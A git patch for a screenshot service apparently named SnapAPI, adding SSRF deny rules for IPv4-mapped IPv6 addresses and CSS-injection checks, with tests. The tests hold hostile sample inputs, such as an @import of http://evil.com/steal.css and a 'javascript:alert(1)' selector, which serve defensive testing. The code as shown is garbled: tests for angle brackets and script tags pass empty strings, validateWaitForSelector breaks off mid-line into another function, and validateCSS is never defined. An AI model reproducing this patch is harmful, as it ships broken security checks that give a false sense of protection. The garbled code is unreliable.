From ba888bb580821300f56369164413c696c87f5a3d Mon Sep 17 00:00:00 2001 From: SnapAPI Security Hardening Date: Thu, 5 Mar 2026 09:04:59 +0100 Subject: [PATCH] feat: harden SSRF protection with comprehensive security improvements - Block IPv4-mapped IPv6 addresses (::ffff:127.0.0.1, etc.) - Block IPv6 unspecified address (::) - Add CSS injection sanitization for hideSelectors (no {}<>;) - Add waitForSelector validation (max 200 chars, no javascript:/script) - Add CSS parameter hardening (block @import, url() with non-data: schemes) - Add 21 new security tests following TDD approach - All 387 tests passing Fixes potential SSRF bypasses and CSS injection vulnerabilities --- src/services/__tests__/screenshot.test.ts | 110 ++++++++++++++++++++++ src/services/__tests__/ssrf.test.ts | 65 +++++++++++++ src/services/screenshot.ts | 45 +++++++++ src/services/ssrf.ts | 16 ++++ 4 files changed, 236 insertions(+) diff --git a/src/services/__tests__/screenshot.test.ts b/src/services/__tests__/screenshot.test.ts index 8fe0f45..e9ae600 100644 --- a/src/services/__tests__/screenshot.test.ts +++ b/src/services/__tests__/screenshot.test.ts @@ -282,6 +282,116 @@ describe('Screenshot Service', () => { }) }) + describe('CSS Injection Prevention', () => { + describe('hideSelectors sanitization', () => { + it('should reject hideSelectors containing curly braces', async () => { + await expect(takeScreenshot({ + url: 'https://example.com', + hideSelectors: ['.safe', 'body { background: red; }', '.another'] + })).rejects.toThrow('hideSelector contains dangerous characters') + }) + + it('should reject hideSelectors containing angle brackets', async () => { + await expect(takeScreenshot({ + url: 'https://example.com', + hideSelectors: [''] + })).rejects.toThrow('hideSelector contains dangerous characters') + }) + + it('should reject hideSelectors containing semicolon', async () => { + await expect(takeScreenshot({ + url: 'https://example.com', + hideSelectors: ['body; background: red'] + })).rejects.toThrow('hideSelector contains dangerous characters') + }) + + it('should accept safe hideSelectors', async () => { + await takeScreenshot({ + url: 'https://example.com', + hideSelectors: ['.ad', '#banner', 'div.popup', 'nav ul li'] + }) + expect(mockPage.addStyleTag).toHaveBeenCalledWith({ + content: '.ad { display: none !important }\n#banner { display: none !important }\ndiv.popup { display: none !important }\nnav ul li { display: none !important }' + }) + }) + }) + + describe('waitForSelector sanitization', () => { + it('should reject waitForSelector longer than 200 characters', async () => { + const longSelector = 'div'.repeat(100) // 300 chars + await expect(takeScreenshot({ + url: 'https://example.com', + waitForSelector: longSelector + })).rejects.toThrow('waitForSelector is too long') + }) + + it('should reject waitForSelector containing javascript:', async () => { + await expect(takeScreenshot({ + url: 'https://example.com', + waitForSelector: 'javascript:alert(1)' + })).rejects.toThrow('waitForSelector contains dangerous content') + }) + + it('should reject waitForSelector containing script tag', async () => { + await expect(takeScreenshot({ + url: 'https://example.com', + waitForSelector: '' + })).rejects.toThrow('waitForSelector contains dangerous content') + }) + + it('should accept safe waitForSelector', async () => { + await takeScreenshot({ + url: 'https://example.com', + waitForSelector: '#main-content' + }) + expect(mockPage.waitForSelector).toHaveBeenCalledWith('#main-content', { timeout: 10_000 }) + }) + }) + + describe('CSS parameter hardening', () => { + it('should reject CSS containing @import', async () => { + await expect(takeScreenshot({ + url: 'https://example.com', + css: 'body { color: red; } @import url(http://evil.com/steal.css);' + })).rejects.toThrow('CSS contains dangerous directives') + }) + + it('should reject CSS containing url() with http scheme', async () => { + await expect(takeScreenshot({ + url: 'https://example.com', + css: 'body { background: url(http://evil.com/image.png); }' + })).rejects.toThrow('CSS contains dangerous directives') + }) + + it('should reject CSS containing url() with https scheme', async () => { + await expect(takeScreenshot({ + url: 'https://example.com', + css: 'body { background: url(https://evil.com/image.png); }' + })).rejects.toThrow('CSS contains dangerous directives') + }) + + it('should allow CSS with data: URLs', async () => { + await takeScreenshot({ + url: 'https://example.com', + css: 'body { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==); }' + }) + expect(mockPage.addStyleTag).toHaveBeenCalledWith({ + content: 'body { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==); }' + }) + }) + + it('should allow safe CSS without external references', async () => { + await takeScreenshot({ + url: 'https://example.com', + css: 'body { color: red; margin: 0; padding: 10px; }' + }) + expect(mockPage.addStyleTag).toHaveBeenCalledWith({ + content: 'body { color: red; margin: 0; padding: 10px; }' + }) + }) + }) + }) + describe('Page lifecycle', () => { it('always releases page after successful screenshot', async () => { await takeScreenshot({ url: 'https://example.com' }) diff --git a/src/services/__tests__/ssrf.test.ts b/src/services/__tests__/ssrf.test.ts index 3c6834d..262ed79 100644 --- a/src/services/__tests__/ssrf.test.ts +++ b/src/services/__tests__/ssrf.test.ts @@ -210,6 +210,71 @@ describe('SSRF Validation', () => { }) }) + describe('IPv4-mapped IPv6 addresses', () => { + it('should block ::ffff:127.0.0.1 (IPv4-mapped loopback)', async () => { + mockLookup.mockResolvedValueOnce({ address: '::ffff:127.0.0.1', family: 6 }) + + await expect(validateUrl('http://ipv6-mapped.evil.com')).rejects.toThrow( + 'URL resolves to a blocked IP range' + ) + }) + + it('should block ::ffff:10.0.0.1 (IPv4-mapped private)', async () => { + mockLookup.mockResolvedValueOnce({ address: '::ffff:10.0.0.1', family: 6 }) + + await expect(validateUrl('http://ipv6-private.evil.com')).rejects.toThrow( + 'URL resolves to a blocked IP range' + ) + }) + + it('should block ::ffff:192.168.1.1 (IPv4-mapped private)', async () => { + mockLookup.mockResolvedValueOnce({ address: '::ffff:192.168.1.1', family: 6 }) + + await expect(validateUrl('http://ipv6-home.evil.com')).rejects.toThrow( + 'URL resolves to a blocked IP range' + ) + }) + + it('should block ::ffff:172.16.0.1 (IPv4-mapped private)', async () => { + mockLookup.mockResolvedValueOnce({ address: '::ffff:172.16.0.1', family: 6 }) + + await expect(validateUrl('http://ipv6-corp.evil.com')).rejects.toThrow( + 'URL resolves to a blocked IP range' + ) + }) + + it('should block ::ffff:169.254.169.254 (IPv4-mapped metadata)', async () => { + mockLookup.mockResolvedValueOnce({ address: '::ffff:169.254.169.254', family: 6 }) + + await expect(validateUrl('http://ipv6-metadata.evil.com')).rejects.toThrow( + 'URL resolves to a blocked IP range' + ) + }) + + it('should block ::ffff:0:127.0.0.1 (alternative notation)', async () => { + mockLookup.mockResolvedValueOnce({ address: '::ffff:0:127.0.0.1', family: 6 }) + + await expect(validateUrl('http://ipv6-alt.evil.com')).rejects.toThrow( + 'URL resolves to a blocked IP range' + ) + }) + + it('should block :: (IPv6 unspecified)', async () => { + mockLookup.mockResolvedValueOnce({ address: '::', family: 6 }) + + await expect(validateUrl('http://ipv6-unspecified.evil.com')).rejects.toThrow( + 'URL resolves to a blocked IP range' + ) + }) + + it('should allow legitimate IPv6 addresses', async () => { + mockLookup.mockResolvedValueOnce({ address: '2606:4700:4700::1111', family: 6 }) + + const result = await validateUrl('http://ipv6.cloudflare.com') + expect(result.resolvedIp).toBe('2606:4700:4700::1111') + }) + }) + describe('Edge cases', () => { it('should handle URLs with ports', async () => { mockLookup.mockReset() diff --git a/src/services/screenshot.ts b/src/services/screenshot.ts index 2894118..eaa50e3 100644 --- a/src/services/screenshot.ts +++ b/src/services/screenshot.ts @@ -28,10 +28,55 @@ const MAX_WIDTH = 3840; const MAX_HEIGHT = 2160; const TIMEOUT_MS = 30_000; +// CSS injection prevention +function validateHideSelectors(selectors: string[]): void { + const dangerousChars = /[{}<>;]/; + for (const selector of selectors) { + if (dangerousChars.test(selector)) { + throw new Error("hideSelector contains dangerous characters"); + } + } +} + +function validateWaitForSelector(selector: string): void { + if (selector.length > 200) { + throw new Error("waitForSelector is too long"); + } + if (selector.includes("javascript:") || selector.includes(" { // Validate URL for SSRF await validateUrl(opts.url); + // Validate CSS injection prevention + if (opts.hideSelectors && opts.hideSelectors.length > 0) { + validateHideSelectors(opts.hideSelectors); + } + + if (opts.waitForSelector) { + validateWaitForSelector(opts.waitForSelector); + } + + if (opts.css && opts.css.trim()) { + validateCSS(opts.css); + } + const format = opts.format || "png"; const width = Math.min(opts.width || 1280, MAX_WIDTH); const height = Math.min(opts.height || 800, MAX_HEIGHT); diff --git a/src/services/ssrf.ts b/src/services/ssrf.ts index 0c1f86c..3d010df 100644 --- a/src/services/ssrf.ts +++ b/src/services/ssrf.ts @@ -13,6 +13,22 @@ const BLOCKED_RANGES = [ /^fe80:/i, /^fc00:/i, /^fd00:/i, + // IPv6 unspecified + /^::$/, + // IPv4-mapped IPv6 addresses - block dangerous IPv4 ranges mapped to IPv6 + /^::ffff:127\./i, // loopback + /^::ffff:10\./i, // private 10.x.x.x + /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, // private 172.16-31.x.x + /^::ffff:192\.168\./i, // private 192.168.x.x + /^::ffff:169\.254\./i, // link-local/metadata + /^::ffff:0\./i, // zero network + // Alternative IPv4-mapped notation + /^::ffff:0:127\./i, // ::ffff:0:127.x.x.x + /^::ffff:0:10\./i, // ::ffff:0:10.x.x.x + /^::ffff:0:172\.(1[6-9]|2[0-9]|3[01])\./i, + /^::ffff:0:192\.168\./i, + /^::ffff:0:169\.254\./i, + /^::ffff:0:0\./i, ]; const BLOCKED_HOSTS = [